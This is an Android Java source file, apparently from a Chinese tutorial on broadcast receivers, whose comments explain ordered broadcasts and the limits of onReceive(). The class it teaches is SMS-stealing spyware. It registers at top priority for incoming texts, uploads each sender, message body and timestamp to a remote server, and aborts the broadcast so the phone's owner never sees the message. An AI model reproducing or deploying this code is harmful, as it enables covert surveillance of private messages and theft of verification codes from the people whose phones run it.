package cn.com; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import java.text.SimpleDateFormat; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; /** * Demo示例: * 1 Android的两种广播 * 2 广播接收者中onReceive()方法的注意事项 * 3 利用广播接收者窃听短信且上传至服务器 * * * 广播分为两种:普通广播和有序广播 * * Context.sendBroadcast() * 发送的是普通广播,所有订阅者都有机会获得并进行处理. * * Context.sendOrderedBroadcast() * 发送有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者. * 前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()). * 如果广播被前面的接收者终止,后面的接收者就再也无法获取到广播. * 对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象.然后传给下一个接收者, * 下一个接收者通过代码:Bundle bundle = getResultExtras(true))可以获取上一个接收者存入在结果对象中的数据. * * 当系统收到短信发出的广播属于有序广播.如果想阻止用户收到短信,可以通过设置优先级,让自定义的接收者先获取到广播; * 然后终止广播,这样用户就接收不到短信了. * 除了短信到来广播Intent,Android还有很多广播Intent如:开机启动、电池电量变化、时间已经改变等 * * 注意: * 1 在Android中,每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive()方法 * 该方法执行完后,BroadcastReceiver的实例就会被销毁. * 当onReceive()方法在短时间内(约10S)内没有执行完毕就会导致ANR. * 所以在BroadcastReceiver里不能做一些比较耗时的操作. * 如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service来完成 * 2 onReceive()方法中不能使用子线程来解决耗时的工作 * 因为BroadcastReceiver的生命周期很短,子线程可能还没有结束BroadcastReceiver就先结束了. * BroadcastReceiver一旦结束,此时BroadcastReceiver所在的进程很容易在系统需要内存时被优先杀死. * 因为它属于空进程(没有任何活动组件的进程).如果它的宿主进程被杀死,那么正在工作的子线程也会被杀死. * 所以采用子线程来解决是不可靠的. * * * 此处关于短信窃听的示例很简单(当然实用性也大打折扣~) * 对应代码本身不再说明. * * 配置广播接收者: * <receiver android:name=".SMSBroadcastReceiver"> * <intent-filter android:priority="1000"> * <action android:name="android.provider.Telephony.SMS_RECEIVED"/> * </intent-filter> * </receiver> * * 注意权限: * <!-- 接收短信权限 --> * <uses-permission android:name="android.permission.RECEIVE_SMS"/> * <!-- 访问internet权限 --> * <uses-permission android:name="android.permission.INTERNET"/> * */ public class SMSBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for (Object pdu : pdus) { SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu); String sender = message.getDisplayOriginatingAddress(); String content = message.getMessageBody(); long date = message.getTimestampMillis(); Date timeDate = new Date(date); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String time = simpleDateFormat.format(timeDate); sendMessageToPlatform(sender, content, time); // 中断广播,不再往下传递 abortBroadcast(); } } /** * 将短信上传至后台 */ private void sendMessageToPlatform(String sender, String content,String time) { String path = "http://your paltform address"; try { String params = "method=getSMS&sender=" + sender + "&content="+ URLEncoder.encode(content, "UTF-8") + "&time=" + time; byte[] entity = params.getBytes(); HttpURLConnection httpURLConnection=(HttpURLConnection)new URL(path).openConnection(); httpURLConnection.setConnectTimeout(5000); httpURLConnection.setRequestMethod("GET"); httpURLConnection.setDoOutput(true); httpURLConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); httpURLConnection.setRequestProperty("Content-Length",String.valueOf(entity.length)); OutputStream outputStream = httpURLConnection.getOutputStream(); outputStream.write(entity); httpURLConnection.getResponseCode(); } catch (Exception e) { e.printStackTrace(); } } }
BroadcastReceiver广播接收者(五)——onReceive()中的耗时任务以及短信窃听
SMSBroadcastReceiver如下: